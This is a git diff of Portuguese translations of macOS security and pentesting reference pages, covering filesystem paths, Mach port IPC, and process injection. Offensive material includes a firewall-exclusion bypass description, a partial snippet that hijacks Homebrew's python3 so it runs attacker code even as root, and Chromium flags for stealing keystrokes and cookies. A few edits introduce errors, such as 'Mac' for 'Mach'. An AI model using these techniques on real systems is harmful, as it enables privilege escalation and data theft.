Malware poderia simplesmente criar um processo excluído—ou injetar código nele—e tunnelar seu próprio tráfego sobre o soquete já permitido. A Apple removeu completamente a lista de exclusão no macOS 11.2, mas a técnica ainda é relevante em sistemas que não podem ser atualizados.
|
||||
Malware poderia simplesmente criar um processo excluído—ou injetar código nele—e tunnelizar seu próprio tráfego sobre o soquete já permitido. A Apple removeu completamente a lista de exclusão no macOS 11.2, mas a técnica ainda é relevante em sistemas que não podem ser atualizados.
|
||||
|
||||
Exemplo de prova de conceito (pré-11.2):
|
||||
```python
|
||||
|
||||
@ -24,8 +24,8 @@
|
||||
|
||||
- **Aplicativos do sistema** estão localizados em `/System/Applications`
|
||||
- **Aplicativos instalados** geralmente são instalados em `/Applications` ou em `~/Applications`
|
||||
- **Dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como usuário.
|
||||
- **Daemons** de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
|
||||
- **Dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como o usuário.
|
||||
- Daemons de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
|
||||
- Aplicativos **Sandboxed** são mapeados na pasta `~/Library/Containers`. Cada aplicativo tem uma pasta nomeada de acordo com o ID do bundle do aplicativo (`com.apple.Safari`).
|
||||
- O **kernel** está localizado em `/System/Library/Kernels/kernel`
|
||||
- **Extensões do kernel da Apple** estão localizadas em `/System/Library/Extensions`
|
||||
@ -52,7 +52,7 @@ macos-installers-abuse.md
|
||||
- **`.plist`**: Também conhecido como lista de propriedades, armazena informações em formato XML ou binário.
|
||||
- Pode ser XML ou binário. Os binários podem ser lidos com:
|
||||
- `defaults read config.plist`
|
||||
- `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
- `/usr/libexec/PlistBuddy -c print config.plist`
|
||||
- `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
- `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
|
||||
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Alguns extratores não funcionarão, pois as dylibs estão pré-linkadas com endereços codificados, portanto, podem estar pulando para endereços desconhecidos.
|
||||
Alguns extratores não funcionarão, pois as dylibs estão pré-vinculadas com endereços codificados, portanto, podem estar pulando para endereços desconhecidos.
|
||||
|
||||
> [!TIP]
|
||||
> Também é possível baixar o Cache de Biblioteca Compartilhada de outros dispositivos \*OS no macos usando um emulador no Xcode. Eles serão baixados dentro de: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, como: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
|
||||
@ -121,7 +121,7 @@ Usando as variáveis de ambiente:
|
||||
|
||||
### Permissões de Pasta
|
||||
|
||||
Em uma **pasta**, **ler** permite **listá-la**, **escrever** permite **deletar** e **escrever** arquivos nela, e **executar** permite **navegar** pelo diretório. Portanto, por exemplo, um usuário com **permissão de leitura sobre um arquivo** dentro de um diretório onde ele **não tem permissão de execução** **não poderá ler** o arquivo.
|
||||
Em uma **pasta**, **ler** permite **listá-la**, **escrever** permite **deletar** e **escrever** arquivos nela, e **executar** permite **navegar** pelo diretório. Então, por exemplo, um usuário com **permissão de leitura sobre um arquivo** dentro de um diretório onde ele **não tem permissão de execução** **não poderá ler** o arquivo.
|
||||
|
||||
### Modificadores de Flag
|
||||
|
||||
@ -235,7 +235,7 @@ universal-binaries-and-mach-o-format.md
|
||||
macos-memory-dumping.md
|
||||
{{#endref}}
|
||||
|
||||
## Arquivos de Categoria de Risco do Mac OS
|
||||
## Categoria de Risco de Arquivos do Mac OS
|
||||
|
||||
O diretório `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` é onde as informações sobre o **risco associado a diferentes extensões de arquivo são armazenadas**. Este diretório categoriza arquivos em vários níveis de risco, influenciando como o Safari lida com esses arquivos ao serem baixados. As categorias são as seguintes:
|
||||
|
||||
@ -250,7 +250,7 @@ O diretório `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/S
|
||||
- **`/var/log/system.log`**: Log principal dos sistemas OSX. com.apple.syslogd.plist é responsável pela execução do syslogging (você pode verificar se está desativado procurando por "com.apple.syslogd" em `launchctl list`).
|
||||
- **`/private/var/log/asl/*.asl`**: Estes são os Logs do Sistema Apple que podem conter informações interessantes.
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Armazena arquivos e aplicativos acessados recentemente através do "Finder".
|
||||
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Armazena itens para iniciar na inicialização do sistema.
|
||||
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Armazena itens a serem lançados na inicialização do sistema.
|
||||
- **`$HOME/Library/Logs/DiskUtility.log`**: Arquivo de log para o aplicativo DiskUtility (informações sobre drives, incluindo USBs).
|
||||
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dados sobre pontos de acesso sem fio.
|
||||
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista de daemons desativados.
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Escalação de Privilégios TCC
|
||||
## Escalação de Privilégios do TCC
|
||||
|
||||
Se você veio aqui procurando por escalação de privilégios TCC, vá para:
|
||||
Se você veio aqui procurando por escalação de privilégios do TCC, vá para:
|
||||
|
||||
{{#ref}}
|
||||
macos-security-protections/macos-tcc/
|
||||
@ -201,7 +201,7 @@ killall Dock
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## TCC - Escalação de Privilégios de Root
|
||||
## TCC - Escalação de Privilégios Root
|
||||
|
||||
### CVE-2020-9771 - bypass do TCC do mount_apfs e escalonamento de privilégios
|
||||
|
||||
|
||||
@ -39,7 +39,7 @@ Coalizão é outra maneira de agrupar processos no Darwin. Um processo que se ju
|
||||
### Credenciais e Personas
|
||||
|
||||
Cada processo mantém **credenciais** que **identificam seus privilégios** no sistema. Cada processo terá um `uid` primário e um `gid` primário (embora possa pertencer a vários grupos).\
|
||||
Também é possível mudar o id de usuário e o id de grupo se o binário tiver o bit `setuid/setgid`.\
|
||||
Também é possível mudar o id do usuário e do grupo se o binário tiver o bit `setuid/setgid`.\
|
||||
Existem várias funções para **definir novos uids/gids**.
|
||||
|
||||
A syscall **`persona`** fornece um conjunto **alternativo** de **credenciais**. Adotar uma persona assume seu uid, gid e associações de grupo **de uma só vez**. No [**código-fonte**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) é possível encontrar a struct:
|
||||
@ -59,7 +59,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
## Informações Básicas sobre Threads
|
||||
|
||||
1. **POSIX Threads (pthreads):** o macOS suporta threads POSIX (`pthreads`), que fazem parte de uma API de threading padrão para C/C++. A implementação de pthreads no macOS é encontrada em `/usr/lib/system/libsystem_pthread.dylib`, que vem do projeto `libpthread` disponível publicamente. Esta biblioteca fornece as funções necessárias para criar e gerenciar threads.
|
||||
2. **Criando Threads:** A função `pthread_create()` é usada para criar novas threads. Internamente, essa função chama `bsdthread_create()`, que é uma chamada de sistema de nível inferior específica para o kernel XNU (o kernel no qual o macOS é baseado). Esta chamada de sistema aceita várias flags derivadas de `pthread_attr` (atributos) que especificam o comportamento da thread, incluindo políticas de agendamento e tamanho da pilha.
|
||||
2. **Criando Threads:** A função `pthread_create()` é usada para criar novas threads. Internamente, essa função chama `bsdthread_create()`, que é uma chamada de sistema de nível inferior específica para o kernel XNU (o kernel sobre o qual o macOS é baseado). Esta chamada de sistema aceita várias flags derivadas de `pthread_attr` (atributos) que especificam o comportamento da thread, incluindo políticas de agendamento e tamanho da pilha.
|
||||
- **Tamanho da Pilha Padrão:** O tamanho da pilha padrão para novas threads é de 512 KB, o que é suficiente para operações típicas, mas pode ser ajustado através de atributos de thread se mais ou menos espaço for necessário.
|
||||
3. **Inicialização da Thread:** A função `__pthread_init()` é crucial durante a configuração da thread, utilizando o argumento `env[]` para analisar variáveis de ambiente que podem incluir detalhes sobre a localização e o tamanho da pilha.
|
||||
|
||||
@ -77,12 +77,12 @@ Para gerenciar o acesso a recursos compartilhados e evitar condições de corrid
|
||||
- **Mutex Rápido (Assinatura: 0x4d55545A):** Semelhante a um mutex regular, mas otimizado para operações mais rápidas, também com 60 bytes de tamanho.
|
||||
2. **Variáveis de Condição:**
|
||||
- Usadas para esperar que certas condições ocorram, com um tamanho de 44 bytes (40 bytes mais uma assinatura de 4 bytes).
|
||||
- **Atributos de Variável de Condição (Assinatura: 0x434e4441):** Atributos de configuração para variáveis de condição, com 12 bytes de tamanho.
|
||||
- **Atributos de Variável de Condição (Assinatura: 0x434e4441):** Atributos de configuração para variáveis de condição, com tamanho de 12 bytes.
|
||||
3. **Variável Once (Assinatura: 0x4f4e4345):**
|
||||
- Garante que um pedaço de código de inicialização seja executado apenas uma vez. Seu tamanho é de 12 bytes.
|
||||
- Garante que um trecho de código de inicialização seja executado apenas uma vez. Seu tamanho é de 12 bytes.
|
||||
4. **Locks de Leitura-Gravação:**
|
||||
- Permite múltiplos leitores ou um escritor por vez, facilitando o acesso eficiente a dados compartilhados.
|
||||
- **Lock de Leitura-Gravação (Assinatura: 0x52574c4b):** Com 196 bytes de tamanho.
|
||||
- Permitem múltiplos leitores ou um escritor por vez, facilitando o acesso eficiente a dados compartilhados.
|
||||
- **Lock de Leitura-Gravação (Assinatura: 0x52574c4b):** Com tamanho de 196 bytes.
|
||||
- **Atributos de Lock de Leitura-Gravação (Assinatura: 0x52574c41):** Atributos para locks de leitura-gravação, com 20 bytes de tamanho.
|
||||
|
||||
> [!TIP]
|
||||
@ -107,7 +107,7 @@ No binário Mach-O, os dados relacionados a variáveis locais de thread são org
|
||||
- **`__DATA.__thread_vars`**: Esta seção contém os metadados sobre as variáveis locais de thread, como seus tipos e status de inicialização.
|
||||
- **`__DATA.__thread_bss`**: Esta seção é usada para variáveis locais de thread que não são explicitamente inicializadas. É uma parte da memória reservada para dados inicializados com zero.
|
||||
|
||||
Mach-O também fornece uma API específica chamada **`tlv_atexit`** para gerenciar variáveis locais de thread quando uma thread sai. Esta API permite que você **registre destrutores**—funções especiais que limpam dados locais de thread quando uma thread termina.
|
||||
Mach-O também fornece uma API específica chamada **`tlv_atexit`** para gerenciar variáveis locais de thread quando uma thread sai. Esta API permite que você **registre destruidores**—funções especiais que limpam dados locais de thread quando uma thread termina.
|
||||
|
||||
### Prioridades de Thread
|
||||
|
||||
@ -153,7 +153,7 @@ macos-library-injection/
|
||||
|
||||
### Hooking de Função
|
||||
|
||||
O Hooking de Função envolve **interceptar chamadas de função** ou mensagens dentro de um código de software. Ao hookear funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo ganhar controle sobre o fluxo de execução.
|
||||
O Hooking de Função envolve **interceptar chamadas de função** ou mensagens dentro de um código de software. Ao hookar funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo ganhar controle sobre o fluxo de execução.
|
||||
|
||||
{{#ref}}
|
||||
macos-function-hooking.md
|
||||
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
|
||||
|
||||
### Injeção de Chromium
|
||||
|
||||
É possível usar as flags `--load-extension` e `--use-fake-ui-for-media-stream` para realizar um **ataque man-in-the-browser** permitindo roubar pressionamentos de tecla, tráfego, cookies, injetar scripts em páginas...:
|
||||
É possível usar as flags `--load-extension` e `--use-fake-ui-for-media-stream` para realizar um **ataque man in the browser** permitindo roubar pressionamentos de tecla, tráfego, cookies, injetar scripts em páginas...:
|
||||
|
||||
{{#ref}}
|
||||
macos-chromium-injection.md
|
||||
@ -225,16 +225,16 @@ macos-ruby-applications-injection.md
|
||||
|
||||
### Injeção de Python
|
||||
|
||||
Se a variável de ambiente **`PYTHONINSPECT`** estiver definida, o processo Python entrará em um CLI Python assim que terminar. Também é possível usar **`PYTHONSTARTUP`** para indicar um script Python a ser executado no início de uma sessão interativa.\
|
||||
Se a variável de ambiente **`PYTHONINSPECT`** estiver definida, o processo python entrará em um cli python assim que terminar. Também é possível usar **`PYTHONSTARTUP`** para indicar um script python a ser executado no início de uma sessão interativa.\
|
||||
No entanto, observe que o script **`PYTHONSTARTUP`** não será executado quando **`PYTHONINSPECT`** criar a sessão interativa.
|
||||
|
||||
Outras variáveis de ambiente, como **`PYTHONPATH`** e **`PYTHONHOME`**, também podem ser úteis para fazer um comando Python executar código arbitrário.
|
||||
Outras variáveis de ambiente, como **`PYTHONPATH`** e **`PYTHONHOME`**, também podem ser úteis para fazer um comando python executar código arbitrário.
|
||||
|
||||
Observe que executáveis compilados com **`pyinstaller`** não usarão essas variáveis ambientais, mesmo que estejam sendo executados usando um Python embutido.
|
||||
Observe que executáveis compilados com **`pyinstaller`** não usarão essas variáveis ambientais, mesmo que estejam sendo executados usando um python embutido.
|
||||
|
||||
> [!CAUTION]
|
||||
> No geral, não consegui encontrar uma maneira de fazer o Python executar código arbitrário abusando de variáveis de ambiente.\
|
||||
> No entanto, a maioria das pessoas instala Python usando **Homebrew**, que instalará Python em um **local gravável** para o usuário administrador padrão. Você pode sequestrá-lo com algo como:
|
||||
> No geral, não consegui encontrar uma maneira de fazer o python executar código arbitrário abusando de variáveis de ambiente.\
|
||||
> No entanto, a maioria das pessoas instala python usando **Homebrew**, que instalará python em um **local gravável** para o usuário admin padrão. Você pode sequestrá-lo com algo como:
|
||||
>
|
||||
> ```bash
|
||||
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
@ -246,7 +246,7 @@ Observe que executáveis compilados com **`pyinstaller`** não usarão essas var
|
||||
> chmod +x /opt/homebrew/bin/python3
|
||||
> ```
|
||||
>
|
||||
> Mesmo **root** executará este código ao executar o Python.
|
||||
> Mesmo **root** executará este código ao executar python.
|
||||
|
||||
## Detecção
|
||||
|
||||
@ -255,15 +255,15 @@ Observe que executáveis compilados com **`pyinstaller`** não usarão essas var
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) é um aplicativo de código aberto que pode **detectar e bloquear ações de injeção de processos**:
|
||||
|
||||
- Usando **Variáveis Ambientais**: Ele monitorará a presença de qualquer uma das seguintes variáveis ambientais: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
|
||||
- Usando chamadas **`task_for_pid`**: Para descobrir quando um processo deseja obter o **port de tarefa de outro**, o que permite injetar código no processo.
|
||||
- Usando chamadas **`task_for_pid`**: Para descobrir quando um processo deseja obter o **port de tarefa de outro** que permite injetar código no processo.
|
||||
- **Parâmetros de aplicativos Electron**: Alguém pode usar os argumentos de linha de comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** para iniciar um aplicativo Electron em modo de depuração e, assim, injetar código nele.
|
||||
- Usando **symlinks** ou **hardlinks**: Normalmente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de maior privilégio**. A detecção é muito simples para ambos, hardlink e symlink. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecurity da Apple.
|
||||
- Usando **symlinks** ou **hardlinks**: Normalmente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de maior privilégio**. A detecção é muito simples tanto para hardlink quanto para symlink. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecurity da Apple.
|
||||
|
||||
### Chamadas feitas por outros processos
|
||||
|
||||
Neste [**post de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos que injetam código em um processo** e, em seguida, obter informações sobre esse outro processo.
|
||||
Em [**este post do blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos que injetam código em um processo** e, em seguida, obter informações sobre esse outro processo.
|
||||
|
||||
Observe que, para chamar essa função, você precisa ser **o mesmo uid** que o que está executando o processo ou **root** (e ela retorna informações sobre o processo, não uma maneira de injetar código).
|
||||
Observe que para chamar essa função você precisa ser **o mesmo uid** que o que está executando o processo ou **root** (e ela retorna informações sobre o processo, não uma maneira de injetar código).
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -20,22 +20,22 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
|
||||
|
||||
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe).
|
||||
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Enviar**, permitindo que ela envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
|
||||
- Se o proprietário do Direito de Receber **morrer** ou o matar, o **direito de enviar se torna inútil (nome morto).**
|
||||
- **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver **apenas um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe).
|
||||
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que ela envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
|
||||
- Se o proprietário do Direito de Receber **morrer** ou matá-lo, o **direito de envio se torna inútil (nome morto).**
|
||||
- **Direito de Enviar**, que permite enviar mensagens para a porta.
|
||||
- O Direito de Enviar pode ser **clonado**, de modo que uma tarefa que possui um Direito de Enviar pode clonar o direito e **concedê-lo a uma terceira tarefa**.
|
||||
- Note que **direitos de porta** também podem ser **passados** através de mensagens Mach.
|
||||
- Note que **direitos de porta** também podem ser **passados** através de mensagens Mac.
|
||||
- **Direito de Enviar uma vez**, que permite enviar uma mensagem para a porta e depois desaparece.
|
||||
- Este direito **não pode** ser **clonado**, mas pode ser **movido**.
|
||||
- **Direito de Conjunto de Portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
|
||||
- **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar em várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
|
||||
- **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
|
||||
|
||||
**Tarefas podem transferir direitos de ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Direitos de ENVIO também podem ser clonados, então uma tarefa pode duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
|
||||
|
||||
### Portas de Arquivo
|
||||
|
||||
Portas de arquivo permitem encapsular descritores de arquivo em portas Mach (usando direitos de porta Mach). É possível criar um `fileport` a partir de um FD dado usando `fileport_makeport` e criar um FD a partir de um fileport usando `fileport_makefd`.
|
||||
Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um `fileport` a partir de um FD dado usando `fileport_makeport` e criar um FD a partir de um fileport usando `fileport_makefd`.
|
||||
|
||||
### Estabelecendo uma comunicação
|
||||
|
||||
@ -43,32 +43,32 @@ Como mencionado anteriormente, é possível enviar direitos usando mensagens Mac
|
||||
|
||||
Para isso, o **servidor de inicialização** (**launchd** no mac) está envolvido, já que **qualquer um pode obter um direito de ENVIO para o servidor de inicialização**, é possível solicitá-lo um direito para enviar uma mensagem para outro processo:
|
||||
|
||||
1. A tarefa **A** cria uma **nova porta**, obtendo o **DIREITO DE RECEBER** sobre ela.
|
||||
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um DIREITO DE ENVIAR para a porta**.
|
||||
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, e **envia a ele o DIREITO DE ENVIAR** para a porta que gerou no início.
|
||||
1. A tarefa **A** cria uma **nova porta**, obtendo o **direito de RECEBER** sobre ela.
|
||||
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um direito de ENVIO para a porta**.
|
||||
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, e **envia o direito de ENVIO** para a porta que gerou no início.
|
||||
- Lembre-se de que qualquer um pode obter um direito de ENVIO para o servidor de inicialização.
|
||||
4. A tarefa A envia uma mensagem `bootstrap_register` para o servidor de inicialização para **associar a porta dada a um nome** como `com.apple.taska`
|
||||
5. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço** (`bootstrap_lookup`). Para que o servidor de inicialização possa responder, a tarefa B enviará a ele um **DIREITO DE ENVIAR para uma porta que criou anteriormente** dentro da mensagem de busca. Se a busca for bem-sucedida, o **servidor duplica o DIREITO DE ENVIAR** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
5. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço** (`bootstrap_lookup`). Assim, o servidor de inicialização pode responder, a tarefa B enviará um **direito de ENVIO para uma porta que criou anteriormente** dentro da mensagem de busca. Se a busca for bem-sucedida, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
- Lembre-se de que qualquer um pode obter um direito de ENVIO para o servidor de inicialização.
|
||||
6. Com esse DIREITO DE ENVIAR, a **Tarefa B** é capaz de **enviar** uma **mensagem** **para a Tarefa A**.
|
||||
7. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIAR**, e dá o **DIREITO DE ENVIAR para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
6. Com esse direito de ENVIO, a **Tarefa B** é capaz de **enviar** uma **mensagem** **para a Tarefa A**.
|
||||
7. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **impersonar qualquer tarefa do sistema**, como falsamente **reivindicando um nome de serviço de autorização** e, em seguida, aprovando cada solicitação.
|
||||
|
||||
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios **protegidos pelo SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Juntamente com cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **DIREITO DE RECEBER para cada um desses nomes de serviço**.
|
||||
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios **protegidos pelo SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Juntamente com cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
|
||||
|
||||
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo buscado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
|
||||
|
||||
- A tarefa **B** inicia uma **busca de inicialização** por um nome de serviço.
|
||||
- **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
|
||||
- A tarefa **A** (o serviço) realiza um **check-in de inicialização** (`bootstrap_check_in()`). Aqui, o **servidor de inicialização** cria um direito de ENVIO, retém-o e **transfere o direito de RECEBER para a Tarefa A**.
|
||||
- O launchd duplica o **DIREITO DE ENVIAR e o envia para a Tarefa B**.
|
||||
- A tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIAR**, e dá o **DIREITO DE ENVIAR para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
- O launchd duplica o **direito de ENVIO e o envia para a Tarefa B**.
|
||||
- A tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a impersonação.
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, o launchd nunca deve travar ou todo o sistema irá travar.
|
||||
> Portanto, o launchd nunca deve falhar ou todo o sistema irá falhar.
|
||||
|
||||
### Uma Mensagem Mach
|
||||
|
||||
@ -123,11 +123,11 @@ Os outros campos do cabeçalho da mensagem são:
|
||||
- `msgh_id`: o ID desta mensagem, que é interpretado pelo destinatário.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que **mensagens mach são enviadas através de uma `mach port`**, que é um canal de comunicação **de um único receptor**, **múltiplos remetentes** embutido no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
> Note que **as mensagens mach são enviadas através de uma `mach port`**, que é um canal de comunicação **de um único receptor**, **múltiplos remetentes** embutido no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
|
||||
As mensagens são então formadas pelo cabeçalho **`mach_msg_header_t`** seguido pelo **corpo** e pelo **trailer** (se houver) e pode conceder permissão para responder a ela. Nesses casos, o kernel apenas precisa passar a mensagem de uma tarefa para a outra.
|
||||
|
||||
Um **trailer** é **informação adicionada à mensagem pelo kernel** (não pode ser definido pelo usuário) que pode ser solicitado na recepção da mensagem com as flags `MACH_RCV_TRAILER_<trailer_opt>` (há diferentes informações que podem ser solicitadas).
|
||||
Um **trailer** é **informação adicionada à mensagem pelo kernel** (não pode ser definido pelo usuário) que pode ser solicitada na recepção da mensagem com as flags `MACH_RCV_TRAILER_<trailer_opt>` (há diferentes informações que podem ser solicitadas).
|
||||
|
||||
#### Mensagens Complexas
|
||||
|
||||
@ -163,7 +163,7 @@ Note que as portas estão associadas ao namespace da tarefa, então para criar o
|
||||
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: **Criar** uma porta.
|
||||
- `mach_port_allocate` também pode criar um **conjunto de portas**: direito de recebimento sobre um grupo de portas. Sempre que uma mensagem é recebida, é indicado de qual porta ela veio.
|
||||
- `mach_port_allocate_name`: Mudar o nome da porta (por padrão, inteiro de 32 bits)
|
||||
- `mach_port_allocate_name`: Mudar o nome da porta (por padrão, um inteiro de 32 bits)
|
||||
- `mach_port_names`: Obter nomes de portas de um alvo
|
||||
- `mach_port_type`: Obter direitos de uma tarefa sobre um nome
|
||||
- `mach_port_rename`: Renomear uma porta (como dup2 para FDs)
|
||||
@ -179,20 +179,20 @@ Como as funções **`mach_msg`** e **`mach_msg_overwrite`** são as usadas para
|
||||
Por exemplo, comece a depurar qualquer aplicativo que você possa depurar, pois ele carregará **`libSystem.B` que usará essa função**.
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
|
||||
</strong>Ponto de interrupção 1: onde = libsystem_kernel.dylib`mach_msg, endereço = 0x00000001803f6c20
|
||||
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
|
||||
<strong>(lldb) r
|
||||
</strong>Processo 71019 iniciado: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
Processo 71019 parado
|
||||
* thread #1, fila = 'com.apple.main-thread', razão de parada = ponto de interrupção 1.1
|
||||
</strong>Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
Process 71019 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
libsystem_kernel.dylib`mach_msg:
|
||||
